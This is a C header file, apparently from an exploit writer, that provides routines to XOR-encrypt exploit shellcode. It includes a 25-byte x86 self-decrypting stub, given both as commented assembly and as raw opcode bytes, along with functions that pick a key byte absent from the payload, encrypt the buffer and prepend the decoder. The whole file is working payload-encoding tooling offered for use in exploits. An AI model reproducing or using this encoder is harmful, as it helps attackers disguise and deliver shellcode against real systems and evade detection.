/*
*
*	xorpatch.h
*	by xeon
*
*	Personal xor routines to encrypt/decrypt exploit shellcode.
*	Generic platform (I hope).
*
*/

#ifndef _XORPATCH
#define _XORPATCH

#include <malloc.h>
#include <memory.h>

// ------------------------------------------------------------
/*
*
*	x86 runtime-decrypt routine, bin shellcode follow
*
*
*	xor ecx, ecx			// 2 byte, 0x33C9
*	mov cx, SHELLCODE_LENGTH	// 4 byte, 0x66B94101
*	jmp xorloopstart		// 2 byte, 0xEB08
*
*xorloop_geteip:
*	pop eax				// 1 byte, 0x58
*					// si preleva dallo stack eip dato che il registro
*					// non è direttamente accessibile
*	add	eax, DEXOR_LENGTH	// 3 byte, 0x83C006
*					// si inizia a dexorare da dopo la routine di dexor.
*					// notare che il ciclo si trova subito dopo la call che
*					// salva nello stack eip...
*	jmp dexorloop			// 2 byte, 0xEB07
*
*xorloopstart:
*	call xorloop_geteip		// 5 byte, 0xE8F4FFFFFF, jump indietro per evitare gli 0 del 
*					// salto in avanti
*dexorloop:						
*	    xor	byte ptr [eax], XOR_CONSTANT
*	    inc	eax
*	    loop dexorloop		// 6 byte di ciclo, 0x80301640E2FA
*/

#define X86_XORDECRYPT_DIM 25
const char X86_XORDECRYPT[] =	
		   // 25 bytes
				"\x33\xC9\x66\xB9"
				"\x41\x01"		// SHELLCODE_LENGTH, [4][5]
				"\xEB\x06\x58\x83"
				"\xC0\x06\xEB\x05"
				"\xE8\xF5\xFF\xFF"
				"\xFF\x80\x30"
				"\x16"			// XOR_CONSTANT, [21]
				"\x40\xE2\xFA";


// ------------------------------------------------------------
void xor_encrypt (char *buffer, unsigned int length, unsigned int value)
/*
*
*	Xor all bytes of the buffer pointed by *buffer with value
*
*/
{
	char c = (char) value;

	for (; length; --length, (*buffer) ^= c, buffer++);

	return;
}


// ------------------------------------------------------------
unsigned int xor_findvalue (char *buf, unsigned int length, unsigned int salt)
/*
*
*	Find the first hex byte not present in buf and return it
*	Useful if you don't want do manually find the value to xor
*	with the shellcode
*
*/
{
	unsigned int value = salt,
				 dim   = length;
	char *temp = buf;

	while (dim) {
		if (++value > 255)
			return 0;
		
		for (dim = length, temp = buf; dim && ((unsigned int) *temp != value); dim--, temp++);
	}

	return value;
}


// ------------------------------------------------------------
void xor_addpatch (char *buffer, unsigned int blength, 
				   char *patch,  unsigned int plength)
/*
*
*	Add the *patch to the beginning of *buffer
*	Remember first to xor your shellcode and modify patch with 
*	personal length and dexor value!!!
*
*/
{
	char *temp;

	temp = (char *) malloc (blength + plength + 1);
	memset (temp, 0, blength + plength + 1);

	memcpy (temp, patch, plength);
	memcpy (temp+plength, buffer, blength);
	
	memset (buffer, 0, blength + plength + 1);
	memcpy (buffer, temp, blength + plength);

	free (temp);

	return;
}

// ------------------------------------------------------------

#endif
